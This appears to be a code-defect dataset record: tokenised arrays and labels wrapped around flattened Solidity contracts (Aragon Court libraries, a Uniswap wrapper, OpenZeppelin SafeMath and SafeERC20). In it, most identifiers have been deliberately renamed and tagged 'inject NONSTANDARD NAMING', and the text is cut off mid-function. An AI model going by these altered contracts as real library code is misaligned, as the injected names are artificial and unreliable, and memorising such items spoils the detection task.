6835,
1345,
13937,
18,
1717,
12,
869,
1919,
38,
321,
329,
1769,
203,
7734,
7720,
5157,
1290,
1584,
44,
774,
12,
869,
1919,
7828,
774,
3882,
21747,
16,
13667,
310,
3178,
1769,
203,
7734,
7720,
5157,
1290,
1584,
44,
774,
12,
869,
1919,
38,
321,
329,
16,
8843,
429,
12,
2211,
10019,
203,
7734,
7720,
5157,
1290,
1584,
44,
774,
12,
16351,
1345,
13937,
16,
13667,
310,
3178,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: @aragon/court/contracts/lib/os/IsContract.sol
// Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/IsContract.sol
// Adapted to use pragma ^0.5.8 and satisfy our linter rules
pragma solidity ^0.5.8;
contract IsContract {
function ISCONTRACT505(address _target) internal view returns (bool) { //inject NONSTANDARD NAMING
if (_target == address(0)) {
return false;
}
uint256 size;
assembly { size := extcodesize(_target) }
return size > 0;
}
}
// File: @aragon/court/contracts/lib/os/ERC20.sol
// Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/lib/token/ERC20.sol
// Adapted to use pragma ^0.5.8 and satisfy our linter rules
pragma solidity ^0.5.8;
contract ERC20 {
function TOTALSUPPLY734() public view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF87(address _who) public view returns (uint256); //inject NONSTANDARD NAMING
function ALLOWANCE217(address _owner, address _spender) public view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER438(address _to, uint256 _value) public returns (bool); //inject NONSTANDARD NAMING
function APPROVE791(address _spender, uint256 _value) public returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM747(address _from, address _to, uint256 _value) public returns (bool); //inject NONSTANDARD NAMING
event TRANSFER133( //inject NONSTANDARD NAMING
address indexed from,
address indexed to,
uint256 value
);
event APPROVAL808( //inject NONSTANDARD NAMING
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: @aragon/court/contracts/lib/os/SafeERC20.sol
// Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/SafeERC20.sol
// Adapted to use pragma ^0.5.8 and satisfy our linter rules
pragma solidity ^0.5.8;
library SafeERC20 {
// Before 0.5, solidity has a mismatch between `address.transfer()` and `token.transfer()`:
// https://github.com/ethereum/solidity/issues/3544
bytes4 private constant transfer_selector206 = 0xa9059cbb; //inject NONSTANDARD NAMING
function SAFETRANSFER7(ERC20 _token, address _to, uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING
bytes memory transferCallData = abi.encodeWithSelector(
transfer_selector206,
_to,
_amount
);
return INVOKEANDCHECKSUCCESS678(address(_token), transferCallData);
}
function SAFETRANSFERFROM771(ERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING
bytes memory transferFromCallData = abi.encodeWithSelector(
_token.TRANSFERFROM747.selector,
_from,
_to,
_amount
);
return INVOKEANDCHECKSUCCESS678(address(_token), transferFromCallData);
}
function SAFEAPPROVE557(ERC20 _token, address _spender, uint256 _amount) internal returns (bool) { //inject NONSTANDARD NAMING
bytes memory approveCallData = abi.encodeWithSelector(
_token.APPROVE791.selector,
_spender,
_amount
);
return INVOKEANDCHECKSUCCESS678(address(_token), approveCallData);
}
function INVOKEANDCHECKSUCCESS678(address _addr, bytes memory _calldata) private returns (bool) { //inject NONSTANDARD NAMING
bool ret;
assembly {
let ptr := mload(0x40) // free memory pointer
let success := call(
gas, // forward all gas
_addr, // address
0, // no value
add(_calldata, 0x20), // calldata start
mload(_calldata), // calldata length
ptr, // write output over free memory
0x20 // uint256 return
)
if gt(success, 0) {
// Check number of bytes returned from last function call
switch returndatasize
// No bytes returned: assume success
case 0 {
ret := 1
}
// 32 bytes returned: check if non-zero
case 0x20 {
// Only return success if returned data was true
// Already have output in ptr
ret := eq(mload(ptr), 1)
}
// Not sure what was returned: don't mark as success
default { }
}
}
return ret;
}
}
// File: @aragon/court/contracts/standards/ERC900.sol
pragma solidity ^0.5.8;
// Interface for ERC900: https://eips.ethereum.org/EIPS/eip-900
interface ERC900 {
event STAKED64(address indexed user, uint256 amount, uint256 total, bytes data); //inject NONSTANDARD NAMING
event UNSTAKED870(address indexed user, uint256 amount, uint256 total, bytes data); //inject NONSTANDARD NAMING
function STAKE84(uint256 _amount, bytes calldata _data) external; //inject NONSTANDARD NAMING
function STAKEFOR84(address _user, uint256 _amount, bytes calldata _data) external; //inject NONSTANDARD NAMING
function UNSTAKE238(uint256 _amount, bytes calldata _data) external; //inject NONSTANDARD NAMING
function TOTALSTAKEDFOR777(address _addr) external view returns (uint256); //inject NONSTANDARD NAMING
function TOTALSTAKED236() external view returns (uint256); //inject NONSTANDARD NAMING
function TOKEN451() external view returns (address); //inject NONSTANDARD NAMING
function SUPPORTSHISTORY821() external pure returns (bool); //inject NONSTANDARD NAMING
}
// File: contracts/lib/uniswap/interfaces/IUniswapExchange.sol
pragma solidity ^0.5.0;
interface IUniswapExchange {
event TOKENPURCHASE996(address indexed buyer, uint256 indexed eth_sold, uint256 indexed tokens_bought); //inject NONSTANDARD NAMING
event ETHPURCHASE686(address indexed buyer, uint256 indexed tokens_sold, uint256 indexed eth_bought); //inject NONSTANDARD NAMING
event ADDLIQUIDITY195(address indexed provider, uint256 indexed eth_amount, uint256 indexed token_amount); //inject NONSTANDARD NAMING
event REMOVELIQUIDITY507(address indexed provider, uint256 indexed eth_amount, uint256 indexed token_amount); //inject NONSTANDARD NAMING
function () external payable;
function GETINPUTPRICE733(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) external view returns (uint256); //inject NONSTANDARD NAMING
function GETOUTPUTPRICE452(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) external view returns (uint256); //inject NONSTANDARD NAMING
function ETHTOTOKENSWAPINPUT342(uint256 min_tokens, uint256 deadline) external payable returns (uint256); //inject NONSTANDARD NAMING
function ETHTOTOKENTRANSFERINPUT323(uint256 min_tokens, uint256 deadline, address recipient) external payable returns(uint256); //inject NONSTANDARD NAMING
function ETHTOTOKENSWAPOUTPUT701(uint256 tokens_bought, uint256 deadline) external payable returns(uint256); //inject NONSTANDARD NAMING
function ETHTOTOKENTRANSFEROUTPUT693(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256); //inject NONSTANDARD NAMING
function TOKENTOETHSWAPINPUT977(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256); //inject NONSTANDARD NAMING
function TOKENTOETHTRANSFERINPUT18(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256); //inject NONSTANDARD NAMING
function TOKENTOETHSWAPOUTPUT664(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256); //inject NONSTANDARD NAMING
function TOKENTOETHTRANSFEROUTPUT247(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256); //inject NONSTANDARD NAMING
function TOKENTOTOKENSWAPINPUT27( //inject NONSTANDARD NAMING
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address token_addr)
external returns (uint256);
function TOKENTOTOKENTRANSFERINPUT278( //inject NONSTANDARD NAMING
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address recipient,
address token_addr)
external returns (uint256);
function TOKENTOTOKENSWAPOUTPUT751( //inject NONSTANDARD NAMING
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address token_addr)
external returns (uint256);
function TOKENTOTOKENTRANSFEROUTPUT428( //inject NONSTANDARD NAMING
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address recipient,
address token_addr)
external returns (uint256);
function TOKENTOEXCHANGESWAPINPUT174( //inject NONSTANDARD NAMING
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address exchange_addr)
external returns (uint256);
function TOKENTOEXCHANGETRANSFERINPUT767( //inject NONSTANDARD NAMING
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address recipient,
address exchange_addr)
external returns (uint256);
function TOKENTOEXCHANGESWAPOUTPUT918( //inject NONSTANDARD NAMING
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address exchange_addr)
external returns (uint256);
function TOKENTOEXCHANGETRANSFEROUTPUT147( //inject NONSTANDARD NAMING
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address recipient,
address exchange_addr)
external returns (uint256);
function GETETHTOTOKENINPUTPRICE69(uint256 eth_sold) external view returns (uint256); //inject NONSTANDARD NAMING
function GETETHTOTOKENOUTPUTPRICE555(uint256 tokens_bought) external view returns (uint256); //inject NONSTANDARD NAMING
function GETTOKENTOETHINPUTPRICE162(uint256 tokens_sold) external view returns (uint256); //inject NONSTANDARD NAMING
function GETTOKENTOETHOUTPUTPRICE369(uint256 eth_bought) external view returns (uint256); //inject NONSTANDARD NAMING
function TOKENADDRESS963() external view returns (address); //inject NONSTANDARD NAMING
function FACTORYADDRESS389() external view returns (address); //inject NONSTANDARD NAMING
function ADDLIQUIDITY566(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256); //inject NONSTANDARD NAMING
function REMOVELIQUIDITY718(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256); //inject NONSTANDARD NAMING
}
// File: contracts/lib/uniswap/interfaces/IUniswapFactory.sol
pragma solidity ^0.5.0;
interface IUniswapFactory {
event NEWEXCHANGE290(address indexed token, address indexed exchange); //inject NONSTANDARD NAMING
function INITIALIZEFACTORY19(address template) external; //inject NONSTANDARD NAMING
function CREATEEXCHANGE596(address token) external returns (address payable); //inject NONSTANDARD NAMING
function GETEXCHANGE730(address token) external view returns (address payable); //inject NONSTANDARD NAMING
function GETTOKEN772(address token) external view returns (address); //inject NONSTANDARD NAMING
function GETTOKENWIHID451(uint256 token_id) external view returns (address); //inject NONSTANDARD NAMING
}
// File: contracts/Refundable.sol
pragma solidity ^0.5.8;
contract Refundable {
using SafeERC20 for ERC20;
string private constant error_not_governor455 = "REF_NOT_GOVERNOR"; //inject NONSTANDARD NAMING
string private constant error_zero_amount252 = "REF_ZERO_AMOUNT"; //inject NONSTANDARD NAMING
string private constant error_not_enough_balance862 = "REF_NOT_ENOUGH_BALANCE"; //inject NONSTANDARD NAMING
string private constant error_eth_refund150 = "REF_ETH_REFUND"; //inject NONSTANDARD NAMING
string private constant error_token_refund409 = "REF_TOKEN_REFUND"; //inject NONSTANDARD NAMING
address public governor;
modifier ONLYGOVERNOR318() { //inject NONSTANDARD NAMING
require(msg.sender == governor, error_not_governor455);
_;
}
constructor(address _governor) public {
governor = _governor;
}
function REFUNDETH646(address payable _recipient, uint256 _amount) external ONLYGOVERNOR318 { //inject NONSTANDARD NAMING
require(_amount > 0, error_zero_amount252);
uint256 selfBalance = address(this).balance;
require(selfBalance >= _amount, error_not_enough_balance862);
// solium-disable security/no-call-value
(bool result,) = _recipient.call.value(_amount)("");
require(result, error_eth_refund150);
}
function REFUNDTOKEN5(ERC20 _token, address _recipient, uint256 _amount) external ONLYGOVERNOR318 { //inject NONSTANDARD NAMING
require(_amount > 0, error_zero_amount252);
uint256 selfBalance = _token.BALANCEOF87(address(this));
require(selfBalance >= _amount, error_not_enough_balance862);
require(_token.SAFETRANSFER7(_recipient, _amount), error_token_refund409);
}
}
// File: contracts/UniswapWrapper.sol
pragma solidity ^0.5.8;
contract UniswapWrapper is Refundable, IsContract {
using SafeERC20 for ERC20;
string private constant error_token_not_contract383 = "UW_TOKEN_NOT_CONTRACT"; //inject NONSTANDARD NAMING
string private constant error_registry_not_contract179 = "UW_REGISTRY_NOT_CONTRACT"; //inject NONSTANDARD NAMING
string private constant error_uniswap_factory_not_contract907 = "UW_UNISWAP_FACTORY_NOT_CONTRACT"; //inject NONSTANDARD NAMING
string private constant error_received_wrong_token364 = "UW_RECEIVED_WRONG_TOKEN"; //inject NONSTANDARD NAMING
string private constant error_wrong_data_length344 = "UW_WRONG_DATA_LENGTH"; //inject NONSTANDARD NAMING
string private constant error_zero_amount252 = "UW_ZERO_AMOUNT"; //inject NONSTANDARD NAMING
string private constant error_token_transfer_failed211 = "UW_TOKEN_TRANSFER_FAILED"; //inject NONSTANDARD NAMING
string private constant error_token_approval_failed944 = "UW_TOKEN_APPROVAL_FAILED"; //inject NONSTANDARD NAMING
string private constant error_uniswap_unavailable264 = "UW_UNISWAP_UNAVAILABLE"; //inject NONSTANDARD NAMING
bytes32 internal constant activate_data805 = keccak256("activate(uint256)"); //inject NONSTANDARD NAMING
ERC20 public bondedToken;
ERC900 public registry;
IUniswapFactory public uniswapFactory;
constructor(address _governor, ERC20 _bondedToken, ERC900 _registry, IUniswapFactory _uniswapFactory) Refundable(_governor) public {
require(ISCONTRACT505(address(_bondedToken)), error_token_not_contract383);
require(ISCONTRACT505(address(_registry)), error_registry_not_contract179);
require(ISCONTRACT505(address(_uniswapFactory)), error_uniswap_factory_not_contract907);
bondedToken = _bondedToken;
registry = _registry;
uniswapFactory = _uniswapFactory;
}
function RECEIVEAPPROVAL744(address _from, uint256 _amount, address _token, bytes calldata _data) external { //inject NONSTANDARD NAMING
require(_token == msg.sender, error_received_wrong_token364);
// data must have 4 words
require(_data.length == 128, error_wrong_data_length344);
bool activate;
uint256 minTokens;
uint256 minEth;
uint256 deadline;
bytes memory data = _data;
assembly {
activate := mload(add(data, 0x20))
minTokens := mload(add(data, 0x40))
minEth := mload(add(data, 0x60))
deadline := mload(add(data, 0x80))
}
_CONTRIBUTEEXTERNALTOKEN25(_from, _amount, _token, minTokens, minEth, deadline, activate);
}
function CONTRIBUTEEXTERNALTOKEN307( //inject NONSTANDARD NAMING
uint256 _amount,
address _token,
uint256 _minTokens,
uint256 _minEth,
uint256 _deadline,
bool _activate
)
external
{
_CONTRIBUTEEXTERNALTOKEN25(msg.sender, _amount, _token, _minTokens, _minEth, _deadline, _activate);
}
function CONTRIBUTEETH468(uint256 _minTokens, uint256 _deadline, bool _activate) external payable { //inject NONSTANDARD NAMING
require(msg.value > 0, error_zero_amount252);
// get the Uniswap exchange for the bonded token
address payable uniswapExchangeAddress = uniswapFactory.GETEXCHANGE730(address(bondedToken));
require(uniswapExchangeAddress != address(0), error_uniswap_unavailable264);
IUniswapExchange uniswapExchange = IUniswapExchange(uniswapExchangeAddress);
// swap tokens
uint256 bondedTokenAmount = uniswapExchange.ETHTOTOKENSWAPINPUT342.value(msg.value)(_minTokens, _deadline);
// stake and activate in the registry
_STAKEANDACTIVATE532(msg.sender, bondedTokenAmount, _activate);
}
function _CONTRIBUTEEXTERNALTOKEN25( //inject NONSTANDARD NAMING
address _from,
uint256 _amount,
address _token,
uint256 _minTokens,
uint256 _minEth,
uint256 _deadline,
bool _activate
)
internal
{
require(_amount > 0, error_zero_amount252);
// move tokens to this contract
ERC20 token = ERC20(_token);
require(token.SAFETRANSFERFROM771(_from, address(this), _amount), error_token_transfer_failed211);
// get the Uniswap exchange for the external token
address payable uniswapExchangeAddress = uniswapFactory.GETEXCHANGE730(_token);
require(uniswapExchangeAddress != address(0), error_uniswap_unavailable264);
IUniswapExchange uniswapExchange = IUniswapExchange(uniswapExchangeAddress);
require(token.SAFEAPPROVE557(address(uniswapExchange), _amount), error_token_approval_failed944);
// swap tokens
uint256 bondedTokenAmount = uniswapExchange.TOKENTOTOKENSWAPINPUT27(_amount, _minTokens, _minEth, _deadline, address(bondedToken));
// stake and activate in the registry
_STAKEANDACTIVATE532(_from, bondedTokenAmount, _activate);
}
function _STAKEANDACTIVATE532(address _from, uint256 _amount, bool _activate) internal { //inject NONSTANDARD NAMING
// activate in registry
bondedToken.APPROVE791(address(registry), _amount);
bytes memory data;
if (_activate) {
data = abi.encodePacked(activate_data805);
}
registry.STAKEFOR84(_from, _amount, data);
}
} | inject NONSTANDARD NAMING
| function TOTALSTAKEDFOR777(address _addr) external view returns (uint256); | 2,479,447 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
399,
19851,
882,
14607,
2056,
7473,
14509,
12,
2867,
389,
4793,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: @openzeppelin\contracts-ethereum-package\contracts\math\SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts-ethereum-package\contracts\utils\Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
